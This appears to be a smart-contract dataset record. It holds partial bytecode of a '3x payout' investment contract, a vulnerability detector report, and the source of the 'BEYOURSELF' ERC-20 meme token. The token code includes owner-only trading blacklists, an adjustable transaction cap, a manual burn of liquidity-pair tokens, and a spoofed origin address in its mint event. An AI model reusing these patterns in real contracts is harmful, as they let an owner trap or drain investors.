f167c0100000000000000000000000000000000000000000000000000000000028152600401613faa9190615837565b602060405180830381600087803b158015613fc457600080fd5b505af1158015613fd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250613ffc9190810190615138565b03905090565b600760049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b60006001600760009054906101000a900463ffffffff1663ffffffff16141561405c576001905061407b565b600b54614067614028565b1015614076576001905061407b565b600090505b90565b60001515600260008363ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff1615151415156140f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140ed906159eb565b60405180910390fd5b60001515600260008363ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff1615151415614294576001600260008363ffffffff1663ffffffff16815260200190815260200160002060010160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260008463ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003601654026040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040161422d9291906158f7565b602060405180830381600087803b15801561424757600080fd5b505af115801561425b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061427f91908101906150aa565b50600f60008154809291906001900391905055505b50565b60006001600760009054906101000a900463ffffffff1663ffffffff1614156142c35760019050614315565b60018263ffffffff1614156142db5760009050614315565b6000600260008463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b141590505b919050565b600080600080600760049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561436657600080fd5b600760049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915033905081601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e82306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401614448929190615852565b602060405180830381600087803b15801561446257600080fd5b505af1158015614476573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061449a9190810190615138565b601654111561453157600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fbf182be802245e8ed88e4b8d3e4344c0863dd2a70334f089fd07265389306fcf6016546040516145249190615b87565b60405180910390a3600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd82306016546040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016145ae9392919061587b565b602060405180830381600087803b1580156145c857600080fd5b505af11580156145dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061460091908101906150aa565b503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fd6d3eb25a413c05d8107fc49deb2789bef7f612582b2482804c0b0423b6638ee6016546040516146609190615b87565b60405180910390a36001600760009054906101000a900463ffffffff1663ffffffff1614151561479b57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260008763ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166017546040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016147479291906158f7565b602060405180830381600087803b15801561476157600080fd5b505af1158015614775573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061479991908101906150aa565b505b601854600e5401600e81905550600f60008154809291906001019190505550600192505050919050565b6000805b60011561486857600060016000600760009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b14151561485e576007600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff16021790555050614863565b614868565b6147c9565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060006002600760009054906101000a900463ffffffff1663ffffffff168115156148b157fe5b0663ffffffff1614156148ea576002600760009054906101000a900463ffffffff1663ffffffff168115156148e257fe5b049050614915565b60026001600760009054906101000a900463ffffffff160363ffffffff1681151561491157fe5b0490505b600160008263ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9150600260008463ffffffff1663ffffffff168152602001908152602001600020600001600481819054906101000a900460000b8092919060010191906101000a81548160ff021916908360000b60ff160217905550506007600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff160217905550505b600115614a7757600060016000600760009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b141515614a6d576007600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff16021790555050614a72565b614a77565b6149d8565b50919050565b6000806000806000806000600260008963ffffffff1663ffffffff16815260200190815260200160002060000160046101000a81548160ff021916908360000b60ff160217905550600260008863ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b9450600260008863ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b93505b600115614e74576002850294506001600285020193508463ffffffff16600760009054906101000a900463ffffffff1663ffffffff161015614c23578492506001858503019150600090505b8163ffffffff168163ffffffff161015614c225760006001600083860163ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b1415614c155760016000600283860163ffffffff16811515614bdf57fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614e75565b8080600101915050614b76565b5b600760009054906101000a900463ffffffff1663ffffffff168563ffffffff161415614ca757600160006002600760009054906101000a900463ffffffff1663ffffffff16811515614c7157fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614e75565b600760009054906101000a900463ffffffff1663ffffffff168463ffffffff161415614d2e576001600060026001600760009054906101000a900463ffffffff160363ffffffff16811515614cf857fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614e75565b8463ffffffff16600760009054906101000a900463ffffffff1663ffffffff16118015614d7857508363ffffffff16600760009054906101000a900463ffffffff1663ffffffff16105b15614e6f5760006002600760009054906101000a900463ffffffff1663ffffffff16811515614da357fe5b0663ffffffff161415614e0e57600160006002600760009054906101000a900463ffffffff1663ffffffff16811515614dd857fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614e75565b6001600060026001600760009054906101000a900463ffffffff160363ffffffff16811515614e3957fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614e75565b614b2a565b5b5050505050919050565b600043905090565b6101a060405190810160405280600060030b81526020016000800b81526020016000800b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160001515815260200160001515815260200160008152602001600081525090565b6101a060405190810160405280600060030b81526020016000800b81526020016000800b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160001515815260200160001515815260200160008152602001600081525090565b6000614fc58235615c71565b905092915050565b6000614fd98235615c91565b905092915050565b6000614fed8251615c91565b905092915050565b60006150018235615c9d565b905092915050565b60006150158235615caa565b905092915050565b60006150298251615caa565b905092915050565b600061503d8235615cb4565b905092915050565b60006020828403121561505757600080fd5b600061506584828501614fb9565b91505092915050565b6000806040838503121561508157600080fd5b600061508f85828601614fb9565b92505060206150a085828601615009565b9150509250929050565b6000602082840312156150bc57600080fd5b60006150ca84828501614fe1565b91505092915050565b600080604083850312156150e657600080fd5b60006150f485828601614ff5565b925050602061510585828601615031565b9150509250929050565b60006020828403121561512157600080fd5b600061512f84828501615009565b91505092915050565b60006020828403121561514a57600080fd5b60006151588482850161501d565b91505092915050565b60006020828403121561517357600080fd5b600061518184828501615031565b91505092915050565b6000806040838503121561519d57600080fd5b60006151ab85828601615031565b92505060206151bc85828601614fcd565b9150509250929050565b6151cf81615c07565b82525050565b60006151e082615bd7565b8084526020840193506151f283615bbd565b60005b82811015615224576152088683516152b9565b61521182615bed565b91506020860195506001810190506151f5565b50849250505092915050565b600061523b82615be2565b80845260208401935061524d83615bca565b60005b828110156152805761526386835161570e565b61526c82615bfa565b91506101a086019550600181019050615250565b50849250505092915050565b61529581615c27565b82525050565b6152a481615cc4565b82525050565b6152b381615c33565b82525050565b6152c281615c3d565b82525050565b6152d181615c4a565b82525050565b6000601f82527f5573657220616c7265616479207265636569766564203378207061796f7574006020830152604082019050919050565b6000602182527f4e6f206d61696e746572206163636f756e742073657420666f72207061796f7560208301527f74000000000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000601b82527f4d61696e746572207061796f75742062616c616e6365206973203000000000006020830152604082019050919050565b6000603f82527f436f6e7472616374207465726d696e617465642e20496e766573746d656e742060208301527f7761732068656c7420666f72206d6f7265207468616e203336352064617973006040830152606082019050919050565b6000601282527f416c6c20757365727320617265207061696400000000000000000000000000006020830152604082019050919050565b6000601582527f436f6e74726163742068617320657870697265642e00000000000000000000006020830152604082019050919050565b6000601782527f436f6e7472616374204973205374696c6c20416c6976650000000000000000006020830152604082019050919050565b6000602782527f436f6e74726163742062616c616e636520697320616c72656164792063616c6360208301527f756c617465642e000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000602082527f4d696e696d756d20496e766573746d656e74205175616e7469747920497320316020830152604082019050919050565b6000601a82527f526566657272616c20496420446f6573204e6f742045786973740000000000006020830152604082019050919050565b6000603182527f4f6e6c79206f776e6572206f662074686520696e766573746d656e742063616e60208301527f20636c61696d203358207061796d656e740000000000000000000000000000006040830152606082019050919050565b6000601282527f436f6e747261637420697320616c6976652e00000000000000000000000000006020830152604082019050919050565b6101a08201600082015161561a60008501826152b9565b50602082015161562d60208501826152c8565b50604082015161564060408501826152c8565b50606082015161565360608501826152b9565b50608082015161566660808501826152b9565b5060a082015161567960a08501826152b9565b5060c082015161568c60c08501826152b9565b5060e082015161569f60e08501826152b9565b506101008201516156b46101008501826151c6565b506101208201516156c961012085018261528c565b506101408201516156de61014085018261528c565b506101608201516156f3610160850182615819565b50610180820151615708610180850182615819565b50505050565b6101a08201600082015161572560008501826152b9565b50602082015161573860208501826152c8565b50604082015161574b60408501826152c8565b50606082015161575e60608501826152b9565b50608082015161577160808501826152b9565b5060a082015161578460a08501826152b9565b5060c082015161579760c08501826152b9565b5060e08201516157aa60e08501826152b9565b506101008201516157bf6101008501826151c6565b506101208201516157d461012085018261528c565b506101408201516157e961014085018261528c565b506101608201516157fe610160850182615819565b50610180820151615813610180850182615819565b50505050565b61582281615c57565b82525050565b61583181615c61565b82525050565b600060208201905061584c60008301846151c6565b92915050565b600060408201905061586760008301856151c6565b61587460208301846151c6565b9392505050565b600060608201905061589060008301866151c6565b61589d60208301856151c6565b6158aa6040830184615819565b949350505050565b60006080820190506158c760008301876151c6565b6158d460208301866151c6565b6158e16040830185615819565b6158ee606083018461528c565b95945050505050565b600060408201905061590c60008301856151c6565b6159196020830184615819565b9392505050565b6000602082019050818103600083015261593a81846151d5565b905092915050565b6000602082019050818103600083015261595c8184615230565b905092915050565b6000602082019050615979600083018461528c565b92915050565b6000602082019050615994600083018461529b565b92915050565b60006020820190506159af60008301846152aa565b92915050565b60006020820190506159ca60008301846152b9565b92915050565b60006020820190506159e560008301846152c8565b92915050565b60006020820190508181036000830152615a04816152d7565b9050919050565b60006020820190508181036000830152615a248161530e565b9050919050565b60006020820190508181036000830152615a448161536b565b9050919050565b60006020820190508181036000830152615a64816153a2565b9050919050565b60006020820190508181036000830152615a84816153ff565b9050919050565b60006020820190508181036000830152615aa481615436565b9050919050565b60006020820190508181036000830152615ac48161546d565b9050919050565b60006020820190508181036000830152615ae4816154a4565b9050919050565b60006020820190508181036000830152615b0481615501565b9050919050565b60006020820190508181036000830152615b2481615538565b9050919050565b60006020820190508181036000830152615b448161556f565b9050919050565b60006020820190508181036000830152615b64816155cc565b9050919050565b60006101a082019050615b816000830184615603565b92915050565b6000602082019050615b9c6000830184615819565b92915050565b6000602082019050615bb76000830184615828565b92915050565b6000602082019050919050565b6000602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008115159050919050565b6000819050919050565b60008160030b9050919050565b60008160000b9050919050565b6000819050919050565b600063ffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008115159050919050565b60008160000b9050919050565b6000819050919050565b600063ffffffff82169050919050565b6000615ccf82615c07565b90509190505600a265627a7a72305820a22603e25d29835a94976d591cff9b7e17b2db47bbd5fa3adf65b7d66cb8b78a6c6578706572696d656e74616cf50037
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,035 |
0xe131862bd40c9e1f8af62ccfbe63bb4c8ea210e1
|
// SPDX-License-Identifier: UNLICENSED
/*
$BEYOURSELF - RELATED TO ELON TWEET ! https://twitter.com/elonmusk/status/1485955529813987330
Telegram: https://t.me/BeYourSelfToken
✅ Max Tx: 10%
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BEYOURSELF is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _devAddrWallet;
string private constant _name = "BE YOUR SELF";
string private constant _symbol = "BEYOURSELF";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
uint256 private _maxTxAmount = 50000000000000000 * 10**9; // 5%
event MaxTxAmountUpdated(uint _maxTxAmount);
event LPburnTriggerd();
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_devAddrWallet = payable(0xbcb7b29d8825fb7E50DC2516782610c919386fFF);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devAddrWallet] = true;
emit Transfer(address(0x11a4638BA441b5fBE6094E6f1f8e8cBB61f39FD6), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devAddrWallet.transfer(amount);
}
function getDevAddress() public view returns(address) {
return _devAddrWallet;
}
function setDevAddress(address _dev) public onlyOwner() {
_devAddrWallet = payable(_dev);
_isExcludedFromFee[_dev] = true;
}
function liftTxMax() public onlyOwner() {
_maxTxAmount = 999000000000000000 * 10**9;
}
function getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9; // 5%
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0){
_transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit LPburnTriggerd();
return true;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _devAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101c65760003560e01c806370a08231116100f7578063b515566a11610095578063dd62ed3e11610064578063dd62ed3e146104e6578063e34d99bf1461052c578063fe72b27a1461054a578063ff2d76251461056a57600080fd5b8063b515566a1461047c578063c3c8cd801461049c578063c9567bf9146104b1578063d0d41fe1146104c657600080fd5b806395d89b41116100d157806395d89b41146103fd5780639ec22c0e14610430578063a4c82a0014610446578063a9059cbb1461045c57600080fd5b806370a0823114610396578063715018a6146103b65780638da5cb5b146103cb57600080fd5b8063273123b711610164578063313ce5671161013e578063313ce567146103305780635932ead11461034c5780636d8b05271461036c5780636fc3eaec1461038157600080fd5b8063273123b7146102e05780632c3e486c146103005780632e82f1a01461031657600080fd5b8063184c16c5116101a0578063184c16c514610272578063199ffc72146102885780631bbae6e01461029e57806323b872dd146102c057600080fd5b806306fdde03146101d2578063095ea7b31461021957806318160ddd1461024957600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600c81526b2122902ca7aaa91029a2a62360a11b60208201525b6040516102109190611c5e565b60405180910390f35b34801561022557600080fd5b50610239610234366004611acc565b61057f565b6040519015158152602001610210565b34801561025557600080fd5b506b033a5a7a8401b34f470000005b604051908152602001610210565b34801561027e57600080fd5b5061026460135481565b34801561029457600080fd5b50610264600f5481565b3480156102aa57600080fd5b506102be6102b9366004611bfe565b610596565b005b3480156102cc57600080fd5b506102396102db366004611a8b565b6105ce565b3480156102ec57600080fd5b506102be6102fb366004611a18565b610637565b34801561030c57600080fd5b5061026460115481565b34801561032257600080fd5b506010546102399060ff1681565b34801561033c57600080fd5b5060405160098152602001610210565b34801561035857600080fd5b506102be610367366004611bc4565b610682565b34801561037857600080fd5b50601554610264565b34801561038d57600080fd5b506102be6106ca565b3480156103a257600080fd5b506102646103b1366004611a18565b6106f7565b3480156103c257600080fd5b506102be610719565b3480156103d757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610210565b34801561040957600080fd5b5060408051808201909152600a8152692122aca7aaa929a2a62360b11b6020820152610203565b34801561043c57600080fd5b5061026460145481565b34801561045257600080fd5b5061026460125481565b34801561046857600080fd5b50610239610477366004611acc565b61078d565b34801561048857600080fd5b506102be610497366004611af8565b61079a565b3480156104a857600080fd5b506102be610830565b3480156104bd57600080fd5b506102be610866565b3480156104d257600080fd5b506102be6104e1366004611a18565b610c2f565b3480156104f257600080fd5b50610264610501366004611a52565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053857600080fd5b50600c546001600160a01b03166103e5565b34801561055657600080fd5b50610239610565366004611bfe565b610c93565b34801561057657600080fd5b506102be610e78565b600061058c338484610eb4565b5060015b92915050565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016105c090611cb3565b60405180910390fd5b601555565b60006105db848484610fd8565b61062d843361062885604051806060016040528060288152602001611e4a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611325565b610eb4565b5060019392505050565b6000546001600160a01b031633146106615760405162461bcd60e51b81526004016105c090611cb3565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146106ac5760405162461bcd60e51b81526004016105c090611cb3565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146106ea57600080fd5b476106f48161135f565b50565b6001600160a01b03811660009081526002602052604081205461059090611399565b6000546001600160a01b031633146107435760405162461bcd60e51b81526004016105c090611cb3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061058c33848461